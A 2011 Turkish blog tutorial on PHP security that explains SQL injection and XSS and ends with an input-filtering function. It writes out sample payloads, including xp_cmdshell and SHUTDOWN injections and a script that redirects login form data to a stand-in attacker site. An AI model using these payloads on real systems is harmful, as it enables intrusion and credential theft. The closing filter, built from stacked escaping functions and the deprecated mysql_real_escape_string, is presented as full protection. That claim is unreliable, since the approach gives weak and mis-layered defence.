Veriyi Filtrelemek

Kategori: Güvenlik, Php
Tarih: 1st Haziran 2011

Global değişkenleri kapatmak isimli yazıda kullanıcıların kafalarına göre değişkenler oluşturmalarını engellemiştik. Artık sadece bizim istediğimiz verileri girebilirler. Ama buda güvenli değildir. Sql enjeksiyon yöntemiyle veri tabanımıza vs erişebilir, XSS yöntemiyle sitenize giren kullanıcıların tarayıcılarında istedikleri işlemleri yapabilirler. Şimdi bu yöntemleri ve korunma yollarını inceleyelim.

Sql Enjeksiyon

 

Kullanıcılardan aldığımız bilgilerle veri tabanından sorgulama yaparken oluşabilecek bir güvenlik açığıdır. Bir kullanıcı girişi esnasında kullanıcı ismine göre bilgilerini okuduğumuzu düşünelim.

Select * from kullanici where kullaniciAdi=’$kAdi’

şeklinde bir sql cümlesi kullanırız. $kAdi kullanıcının girmiş olduğu kullanıcı isminin tutulduğu değişkendir. Eğer kullanıcı ahmet, mehmet gibi normal bir kullanıcı ismi giriyorsa sorun yok ama kullanıcı adı yerine ‘ or id=1 or ‘ yada ‘or 1=1 or ‘ şeklinde bir ifade girerse sql cümlesi aşağıdaki gibi değişir.

Select * from kullanici where kullaniciAdi=’ ‘ or id=1 or ‘

Yani bizim kodlarımızın arasına kendi kodunu gömmüş olur. Mesela kullanıcı ismine ‘; EXEC master..xp_cmdshell ‘dir c: yazarak C sürücümüze ulaşabilir yada ‘; SHUTDOWN WITH NOWAIT bu şekilde sql serverı kapatabilir. Görüldüğü gibi sadece veri tabanımıza sızmakla kalmaz bilgisayarda da bazı zararlı işlemler yapabilir. Bundan sonrası artık kullanıcının hayal gücüne kalmış.

XSS (Cross Site Scripting)

 

Buda bir diğer güvenlik açığıdır. Javascript kodları direk kullanıcıların tarayıcılarında yorumlanır.  Mesela bir üyenin girdiği yorumu filtrelemeden direk sayfada gösterdiğimizi düşünelim.

<script type="text/javascript">
    window.location="http://www.saldirganinsitesi.com";
</script>

Eğer yorum olarak bu kodu yazarsa kullanıcılar o sayfayı görüntülemek istediğinde direk saldırganın sitesine yönlenecektir.

Yada saldırganın girdiği verinin görüntülendiği sayfada bir kullanıcı giriş formunun olduğunu varsayalım ve formun idsi girisForm olsun

<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.js"></script>
<script type="text/javascript">
    $(document).ready(function(){
        $("#girisForm").attr("action", "http://www.saldirganinsitesi.com/veri/");
    });
</script>

Bu ifade ile artık kullanıcı girişi için girdiğiniz veriler direk saldırganın sitesine gönderilecektir.

Sitenizin güvenliği için kullanıcıdan aldığınız verileri kullanmadan (yada veri tabanına kaydetmeden) önce filtrelemelisiniz.

function oku($isim,$method='post')
{
    switch($method)
    {
        case 'post':
            $veri = $_POST[$isim];
            break;
        case 'get':
            $veri = $_GET[$isim];
            break;
    }

    $veri=urldecode($veri);  //Get ile gelen donusturulmus karakterleri düzelt
    $veri=htmlspecialchars($veri);  //Html özel karakterlerini dönüştür
    $veri=addslashes($veri);  //tek tırnak ve çift tırnak karakterlerini zararsız hale getir
    $veri=mysql_real_escape_string($veri);  //sql enjeksiyonu engelle
    return $veri;
}

//Örnek kullanım:
$isim=oku('isim');

Bu şekilde sitenizi sql enjeksiyon ve xss saldırılarına karşı koruyabilirsiniz.

Optimization WordPress Plugins & Solutions by W3 EDGE